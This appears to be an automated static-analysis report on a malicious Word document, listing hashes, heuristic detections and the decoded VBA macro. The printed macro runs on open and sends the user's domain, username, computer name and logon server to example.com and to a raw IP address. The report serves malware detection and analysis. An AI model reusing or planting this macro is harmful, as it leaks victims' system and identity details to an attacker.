Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f6246899878ed2b…

MALICIOUS

Office (OLE)

40.0 KB Created: 2018-11-03 15:23:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 62c0c01caec5542c6d869a39a410350d SHA-1: 91791ad95d6f4b738f71f5802529e4509b3e798e SHA-256: 5f6246899878ed2bbafaa2f41716377b1ce3c777e60f8812b37e353d01f9d766
294 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that execute upon opening, specifically targeting the Auto_Open and Workbook_Open events. These macros utilize MSXML2.XMLHTTP to construct and send GET requests to two URLs, one of which is suspicious. The script attempts to download and execute a second-stage payload from these URLs, indicated by the use of VirtualAlloc API and the ClamAV detection as a downloader. The embedded URLs are dynamically constructed with system information.

Heuristics 12

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
        Set xmlhttp2 = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
            Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
            Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim xmlhttp As Object, myurl As String
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        GetCursor
        myurl = "http://example.com/" & CStr(fx) & "," & CStr(fy) & "," & CStr(cPos.x) & "," & CStr(cPos.y) & "," & Environ("userdomain") & "," & Environ("username") & "," & Environ("computername") & "," & Environ("logonserver") & "," & Environ("number_of_processors")
        xmlhttp.Open "GET", myurl, True
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://205.204.203.222/ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://example.com/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1716 bytes
SHA-256: 9af30be9698d989655c89b61386fb135305e7fa6b76d838c633714b7f91001bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Type POINTAPI
    x As Long
    y As Long
End Type

Public cPos As POINTAPI
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long

Sub GetCursor()
    Dim LonCStat As Long
    LonCStat = GetCursorPos&(cPos)
    cPos.x = cPos.x
    cPos.y = cPos.y
End Sub


Sub Auto_Open()
    Dim xmlhttp As Object, myurl As String
    Dim xmlhttp2 As Object
    Dim fx, fy, i, r
    
    Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
    Set xmlhttp2 = CreateObject("MSXML2.XMLHTTP")
    GetCursor
    fx = cPos.x
    fy = cPos.y
    Sleep 2000
    GetCursor
    myurl = "http://example.com/" & CStr(fx) & "," & CStr(fy) & "," & CStr(cPos.x) & "," & CStr(cPos.y) & "," & Environ("userdomain") & "," & Environ("username") & "," & Environ("computername") & "," & Environ("logonserver") & "," & Environ("number_of_processors")
    xmlhttp.Open "GET", myurl, True
    xmlhttp.Send
    myurl = "http://205.204.203.222/" & CStr(fx) & "," & CStr(fy) & "," & CStr(cPos.x) & "," & CStr(cPos.y) & "," & Environ("userdomain") & "," & Environ("username") & "," & Environ("computername") & "," & Environ("logonserver") & "," & Environ("number_of_processors")
    xmlhttp2.Open "GET", myurl, True
    xmlhttp2.Send
    'MsgBox (xmlhttp.responseText)
End Sub

Sub AutoOpen()
        Auto_Open
End Sub

Sub Workbook_Open()
        Auto_Open
End Sub